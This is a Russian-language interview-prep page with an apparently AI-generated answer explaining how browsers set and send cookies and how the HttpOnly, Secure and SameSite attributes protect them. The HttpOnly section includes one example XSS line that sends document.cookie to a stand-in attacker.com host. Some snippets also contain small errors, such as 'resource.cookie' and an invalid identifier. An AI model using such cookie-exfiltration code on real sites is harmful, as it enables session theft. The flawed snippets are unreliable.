← Назад к вопросам

Как cookie ставится в браузере?

2.0 Middle🔥 141 комментариев
#JavaScript Core

Комментарии (1)

🐱
claude-haiku-4.5PrepBro AI2 апр. 2026 г.(ред.)

Ответ сгенерирован нейросетью и может содержать ошибки

Как cookie ставится в браузере

Cookie — это небольшой текстовый файл, который браузер хранит локально и отправляет на сервер с каждым HTTP запросом для отслеживания сессии пользователя. Это один из основных механизмов веб для сохранения состояния, так как HTTP является stateless протоколом.

Процесс установки Cookie

Шаг 1: Сервер отправляет Set-Cookie header

Когда сервер хочет установить cookie, он отправляет HTTP заголовок Set-Cookie в ответе:

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: session_id=abc123; Path=/; Domain=example.com; Max-Age=3600
Set-Cookie: user_pref=dark_mode; Path=/; Max-Age=86400

<html>...</html>

Шаг 2: Браузер парсит и сохраняет

Браузер получает ответ, видит Set-Cookie заголовки и:

  1. Парсит параметры cookie
  2. Проверяет, действительна ли cookie (domain, path, flags)
  3. Сохраняет в своё хранилище (обычно база данных)

Шаг 3: Автоматическая отправка при запросах

Все последующие запросы на тот же домен включают cookie в Cookie заголовок:

GET /api/profile HTTP/1.1
Host: example.com
Cookie: session_id=abc123; user_pref=dark_mode

Полный процесс в коде

Backend (Node.js с Express)

const express = require('express');
const app = express();

app.get('/login', (req, res) => {
  // Установка cookie
  res.cookie('session_id', 'abc123', {
    maxAge: 3600000,           // 1 час в миллисекундах
    httpOnly: true,            // Недоступна для JavaScript
    secure: true,              // Только HTTPS
    sameSite: 'Strict',        // CSRF защита
    path: '/',                 // Доступна для всех путей
    domain: 'example.com'      // Доступна только для этого домена
  });

  res.json({ message: 'Logged in' });
});

app.get('/profile', (req, res) => {
  // Браузер автоматически отправит cookie
  console.log(req.cookies); // { session_id: 'abc123' }
  res.json({ user: 'John' });
});

app.listen(3000);

Frontend (JavaScript)

// Логин — сервер установит cookie
fetch('/api/login', { 
  method: 'POST',
  credentials: 'include' // ВАЖНО: отправляем существующие cookies
})
.then(res => res.json())
.then(data => console.log('Logged in'));

// Следующий запрос — браузер сам отправит cookie
fetch('/api/profile', {
  credentials: 'include' // Отправляем cookies
})
.then(res => res.json())
.then(data => console.log(data.user)); // 'John'

Параметры Cookie

Set-Cookie: name=value; Path=/; Domain=example.com; Max-Age=3600; Secure; HttpOnly; SameSite=Strict
         ↑
      cookie

1. Name и Value

// name=value
Set-Cookie: session_id=abc123xyz789

2. Path

Определяет, для каких путей отправляется cookie:

Set-Cookie: admin_token=xyz; Path=/admin
// Отправится на /admin, /admin/users, /admin/settings
// НЕ отправится на /dashboard

Set-Cookie: user_id=123; Path=/
// Отправится на все пути

3. Domain

Для каких доменов действует cookie:

Set-Cookie: user=john; Domain=example.com
// Отправится на example.com, www.example.com, api.example.com
// НЕ отправится на other.com

Set-Cookie: pref=dark; Domain=.example.com
// .example.com означает все поддомены

4. Max-Age и Expires

Когда cookie истекает:

// Max-Age в секундах
Set-Cookie: session=abc; Max-Age=3600
// Удалится через 1 час

// Expires — конкретная дата
Set-Cookie: pref=dark; Expires=Wed, 21 Oct 2025 07:28:00 GMT

// Без Max-Age/Expires — session cookie (удаляется при закрытии браузера)
Set-Cookie: temp=value

5. HttpOnly (КРИТИЧНО для безопасности)

Если установлена, JavaScript не может прочитать cookie:

Set-Cookie: session=abc; HttpOnly

// JavaScript попытка:
document.cookie; // Не увидит session cookie

// Но браузер автоматически отправит на сервер

Это защищает от XSS атак:

// XSS атака (вредоносный скрипт на сайте)
const malicious = document.querySelector('script');
const cookies = document.cookie;
fetch('attacker.com/steal?cookies=' + cookies); // Не будет session cookie

6. Secure

Cookie отправляется только по HTTPS:

Set-Cookie: session=abc; Secure
// Отправится на https://example.com
// НЕ отправится на http://example.com (не защищённый)

7. SameSite

Защита от CSRF (Cross-Site Request Forgery) атак:

// Strict — не отправляется при переходе с других сайтов
Set-Cookie: session=abc; SameSite=Strict

// Lax — отправляется при переходе (GET), но не при форме (POST)
Set-Cookie: session=abc; SameSite=Lax

// None — отправляется везде (требует Secure)
Set-Cookie: tracking=xyz; SameSite=None; Secure

Пример: Аутентификация с JWT в Cookie

// Backend: установка cookie с JWT токеном
app.post('/login', (req, res) => {
  const token = jwt.sign({ userId: 1 }, 'secret');
  
  res.cookie('auth_token', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'Strict',
    maxAge: 24 * 60 * 60 * 1000 // 1 день
  });
  
  res.json({ message: 'Logged in' });
});

// Middleware для проверки
app.use((req, res, next) => {
  const token = req.cookies.auth_token;
  
  if (!token) {
    return res.status(401).json({ error: 'Unauthorized' });
  }
  
  try {
    const decoded = jwt.verify(token, 'secret');
    req.userId = decoded.userId;
    next();
  } catch (err) {
    res.status(401).json({ error: 'Invalid token' });
  }
});

app.get('/profile', (req, res) => {
  res.json({ userId: req.userId });
});

Управление Cookie в JavaScript

// ЧТЕНИЕ (только если не HttpOnly)
const cookies = document.cookie;
console.log(cookies); // "pref=dark; lang=en"

// УСТАНОВКА (только если не HttpOnly)
document.cookie = 'user=john; path=/; max-age=3600';
document.cookie = 'theme=dark; path=/; max-age=86400';

// УДАЛЕНИЕ (установка с Max-Age=0)
document.cookie = 'user=; path=/; max-age=0';

// Парсинг cookies
const parseCookies = () => {
  const cookies = {};
  document.cookie.split('; ').forEach(cookie => {
    const [name, value] = cookie.split('=');
    cookies[name] = decodeURIComponent(value);
  });
  return cookies;
};

const allCookies = parseCookies();
console.log(allCookies); // { pref: 'dark', lang: 'en' }

Cookie vs LocalStorage vs SessionStorage

// Cookie — отправляется на сервер автоматически
resource.cookie = 'session=abc'; // Отправится в каждом запросе

// LocalStorage — НЕ отправляется на сервер
localStorage.setItem('user_pref', 'dark');
// Только доступна в JavaScript, не отправляется

// SessionStorage — как LocalStorage, но удаляется при закрытии вкладки
sessionStorage.setItem('temp_data', '...');

// Когда что использовать?
if (needsSending On Server) {
  // Cookie (с HttpOnly для безопасности)
  res.cookie('session', token, { httpOnly: true });
} else {
  // LocalStorage для персональных данных
  localStorage.setItem('theme', 'dark');
}

Security Best Practices

// ПЛОХО: небезопасная cookie
res.cookie('session', token); // Доступна для JavaScript, http allowed

// ХОРОШО: безопасная cookie
res.cookie('session', token, {
  httpOnly: true,     // JS не может прочитать
  secure: true,       // Только HTTPS
  sameSite: 'Strict', // Защита от CSRF
  maxAge: 3600000,    // Истекает через 1 час
  path: '/',
  domain: 'example.com' // Только этот домен
});

Резюме

Как работает cookie:

  1. Сервер отправляет Set-Cookie в HTTP ответе
  2. Браузер парсит и сохраняет локально
  3. При последующих запросах браузер автоматически отправляет Cookie заголовок
  4. Сервер прочитывает cookie из запроса

Параметры cookie:

  • Name/Value — основное содержимое
  • Path, Domain — область действия
  • Max-Age, Expires — срок действия
  • HttpOnly — защита от XSS
  • Secure — только HTTPS
  • SameSite — защита от CSRF

Для authentication:

  • Храни JWT или session ID в HttpOnly cookie
  • Установи Secure и SameSite для безопасности
  • Сервер проверяет cookie в middleware